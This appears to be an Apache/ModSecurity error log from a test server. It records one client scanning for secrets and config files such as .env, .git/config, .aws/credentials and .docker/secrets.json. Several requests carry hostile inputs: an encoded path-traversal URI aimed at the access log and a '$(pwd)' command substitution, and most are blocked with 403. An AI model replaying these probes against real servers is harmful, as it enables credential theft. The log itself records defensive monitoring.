[Fri Mar 13 10:38:44.585927 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/config"] [unique_id "abPbJHATcTB67jsribTr3QAAAAg"]
[Fri Mar 13 10:38:44.608065 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /backend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abPbJHATcTB67jsribTr3gAAAAg"]
[Fri Mar 13 10:38:44.608255 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abPbJHATcTB67jsribTr3gAAAAg"]
[Fri Mar 13 10:38:44.608390 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/backend/.env"] [unique_id "abPbJHATcTB67jsribTr3gAAAAg"]
[Fri Mar 13 10:38:44.745851 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "abPbJHATcTB67jsribTr5AAAAAg"]
[Fri Mar 13 10:38:44.746048 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "46"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /..%5c found within REQUEST_URI_RAW: /..%5c..%5c..%5c..%5c..%5c..%5cvar/log/apache2/access.log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/DIR_TRAVERSAL"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "abPbJHATcTB67jsribTr5AAAAAg"]
[Fri Mar 13 10:38:44.746289 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "abPbJHATcTB67jsribTr5AAAAAg"]
[Fri Mar 13 10:38:44.746452 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\var/log/apache2/access.log"] [unique_id "abPbJHATcTB67jsribTr5AAAAAg"]
[Fri Mar 13 10:38:44.768148 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:44.790257 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:44.814091 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:44.836075 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/next.config.js
[Fri Mar 13 10:38:44.858053 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/next.config.mjs
[Fri Mar 13 10:38:44.927406 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:44.949483 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:44.971371 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/nuxt.config.js
[Fri Mar 13 10:38:44.993404 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:45.015791 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:45.038032 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:45.060406 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/serverless.yml
[Fri Mar 13 10:38:45.082571 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/serverless.yaml
[Fri Mar 13 10:38:45.151221 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:45.173760 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/package.json
[Fri Mar 13 10:38:45.196222 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/package.json" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /package.json found within REQUEST_FILENAME: /$(pwd)/package.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/package.json"] [unique_id "abPbJXATcTB67jsribTr-AAAAAg"]
[Fri Mar 13 10:38:45.196441 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/package.json"] [unique_id "abPbJXATcTB67jsribTr-AAAAAg"]
[Fri Mar 13 10:38:45.196583 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/package.json"] [unique_id "abPbJXATcTB67jsribTr-AAAAAg"]
[Fri Mar 13 10:38:45.218453 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:45.240781 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/vercel.json
[Fri Mar 13 10:38:45.285662 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:45.307585 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/netlify.toml
[Fri Mar 13 10:38:45.352695 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:45.374910 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:45.397190 2026] [authz_core:error] [pid 2668719] [client 185.177.72.49:14582] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/docker-compose.yml
[Fri Mar 13 10:38:45.488763 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/mailcow-dockerized/mailcow.conf"] [unique_id "abPbJXATcTB67jsribTsBQAAAAg"]
[Fri Mar 13 10:38:45.489156 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/mailcow-dockerized/mailcow.conf"] [unique_id "abPbJXATcTB67jsribTsBQAAAAg"]
[Fri Mar 13 10:38:45.489313 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/mailcow-dockerized/mailcow.conf"] [unique_id "abPbJXATcTB67jsribTsBQAAAAg"]
[Fri Mar 13 10:38:45.511797 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "Dockerfile" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: Dockerfile found within REQUEST_FILENAME: /dockerfile"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "abPbJXATcTB67jsribTsBgAAAAg"]
[Fri Mar 13 10:38:45.512011 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "abPbJXATcTB67jsribTsBgAAAAg"]
[Fri Mar 13 10:38:45.512159 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/Dockerfile"] [unique_id "abPbJXATcTB67jsribTsBgAAAAg"]
[Fri Mar 13 10:38:45.580902 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/config.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "abPbJXATcTB67jsribTsCQAAAAg"]
[Fri Mar 13 10:38:45.581145 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "abPbJXATcTB67jsribTsCQAAAAg"]
[Fri Mar 13 10:38:45.581303 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/config.json"] [unique_id "abPbJXATcTB67jsribTsCQAAAAg"]
[Fri Mar 13 10:38:45.603650 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".docker/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/secrets.json"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/secrets.json"] [unique_id "abPbJXATcTB67jsribTsCgAAAAg"]
[Fri Mar 13 10:38:45.603854 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/secrets.json"] [unique_id "abPbJXATcTB67jsribTsCgAAAAg"]
[Fri Mar 13 10:38:45.603987 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.docker/secrets.json"] [unique_id "abPbJXATcTB67jsribTsCgAAAAg"]
[Fri Mar 13 10:38:45.862723 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /s3/.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.aws/config"] [unique_id "abPbJXATcTB67jsribTsFQAAAAg"]
[Fri Mar 13 10:38:45.862919 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.aws/config"] [unique_id "abPbJXATcTB67jsribTsFQAAAAg"]
[Fri Mar 13 10:38:45.863069 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/s3/.aws/config"] [unique_id "abPbJXATcTB67jsribTsFQAAAAg"]
[Fri Mar 13 10:38:45.908417 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".aws/config" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/config found within REQUEST_FILENAME: /.aws/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abPbJXATcTB67jsribTsFwAAAAg"]
[Fri Mar 13 10:38:45.908615 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abPbJXATcTB67jsribTsFwAAAAg"]
[Fri Mar 13 10:38:45.908752 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/config"] [unique_id "abPbJXATcTB67jsribTsFwAAAAg"]
[Fri Mar 13 10:38:46.166862 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".aws/credentials" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .aws/credentials found within REQUEST_FILENAME: /.aws/credentials"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abPbJnATcTB67jsribTsIgAAAAg"]
[Fri Mar 13 10:38:46.167057 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abPbJnATcTB67jsribTsIgAAAAg"]
[Fri Mar 13 10:38:46.167197 2026] [:error] [pid 2668719] [client 185.177.72.49:14582] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.aws/credentials"] [unique_id "abPbJnATcTB67jsribTsIgAAAAg"]
